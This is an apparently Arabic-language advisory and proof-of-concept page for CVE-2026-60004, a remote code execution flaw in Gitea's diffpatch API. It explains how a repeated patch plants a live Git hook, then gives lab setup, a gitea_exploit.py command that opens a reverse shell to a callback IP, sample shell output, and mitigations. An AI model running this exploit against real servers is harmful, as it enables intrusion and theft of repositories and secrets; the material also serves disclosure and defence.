العودة إلى التحديثات
UpdatedAug 7, 2026

CVE-2026-60004 — Updated!

Gitea diffpatch RCE

مشاركة

CVE-2026-60004 Gitea diffpatch RCE

★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★

https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b


نظرة عامة

CVE-2026-60004 هي ثغرة تنفيذ أوامر عن بُعد (RCE) في Gitea. تطبّق واجهة برمجة التطبيقات diffpatch تصحيحًا مُرسَلًا باستخدام git apply --cached، والذي يجب أن يلمس الفهرس فقط ولا يكتب ملفات على القرص أبدًا. من خلال إرسال نفس التصحيح مرتين، يجبر المهاجم حدوث تصادم إضافة/إضافة (add/add) يُفعّل آلية الدمج ثلاثي الاتجاهات (-3) في Git. هذا المسار يتجاهل --cached ويُخرج الملف إلى شجرة العمل. نظرًا لأن النسخة المؤقتة عارية (bare)، فإن جذر شجرة العمل فيها هو $GIT_DIR. لذلك فإن التصحيح الذي يُنشئ خطافًا تنفيذيًا باسم hooks/post-index-change يُرسي خطاف Git حيًا، والذي يشغّله Git تلقائيًا عند تحديث الفهرس التالي — لتنفيذ أوامر بحساب خدمة Gitea. تتطلب نقطة النهاية صلاحية كتابة في المستودع، لكن التسجيل مُمكَّن افتراضيًا، لذا يمكن لأي مستخدم قادر على التسجيل وإنشاء مستودع الوصول إليها.


الإصدارات المتأثرة

الفئةالإصدار
متأثرGitea 1.17 ≤ الإصدار ≤ 1.27.0
مُصحَّحGitea 1.27.1 أو أحدث

الأثر

  • تنفيذ أوامر عن بُعد بحساب خدمة Gitea (git)
  • الوصول إلى جميع المستودعات المستضافة وأسرار CI وبيانات اعتماد قاعدة البيانات

البيئة

قم ببناء وتشغيل بيئة Gitea الضعيفة. يُترك التسجيل مفتوحًا ويأتي الخادم مع Git 2.32+، وهو ما يُفعّل آلية -3 الاحتياطية التي يعتمد عليها الهجوم.

docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
الشرط المسبقالحالة في هذا المختبر
Gitea 1.17 – 1.27.01.27.0
Git 2.32+ على الخادم (يُفعّل -3)2.54
تسجيل مفتوحمُمكَّن (افتراضي)
صلاحية كتابة في المستودععبر حساب مُسجَّل ذاتيًا

إثبات المفهوم (PoC)

الاستغلال مؤتمت بالكامل بواسطة gitea_exploit.py. بوجود حساب يمكنه إنشاء مستودع، يقوم بإنشاء المستودع الهدف، وإرسال نفس التصحيح مرارًا حتى تُفعَّل آلية -3 الاحتياطية في Git، ويلتقط الصدفة العكسية عبر مستمع مدمج — دون أي إعداد يدوي أو صياغة تصحيح أو حسابات تجزئة blob.

# python3 gitea_exploit.py <ip الهدف:المنفذ> <ip الاستدعاء> [منفذ الاستدعاء]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
  --user test --pw 11111111 --repo rce

آلية -3 الاحتياطية لا تُفعَّل إلا في نوافذ توقيت معينة، لذا يكرر السكربت إنشاء ← إرسال ← إرسال حتى يلتقط الصدفة (25 محاولة افتراضيًا). عندما يتعطل الإرسال، يكون الخطاف قد اشتعل ويُسقطك المستمع في صدفة بحساب git:

[*] attempt  3/25 -> send#1 201, send#2 timeout   <- BLOCKED (fired!)
[+] shell from 172.17.0.2:53344 -- type commands, Ctrl-C to quit
uid=1000(git) gid=1000(git) groups=1000(git)

الخيارات:

  • --no-listen — التقط الصدفة باستخدام nc خارجي خاص بك بدلًا من المستمع المدمج
  • --user / --pw / --repo / --branch — تجاوز الحساب الافتراضي والمستودع الهدف

التخفيف

  • قم بترقية Gitea إلى 1.27.1 أو أحدث
  • عطّل التسجيل المفتوح إذا لم يكن مطلوبًا (DISABLE_REGISTRATION=true)
  • قيّد من يمكنه الوصول إلى المثيل وإنشاء المستودعات

التحليل

  • KR: قريبًا!
  • EN:

الفئات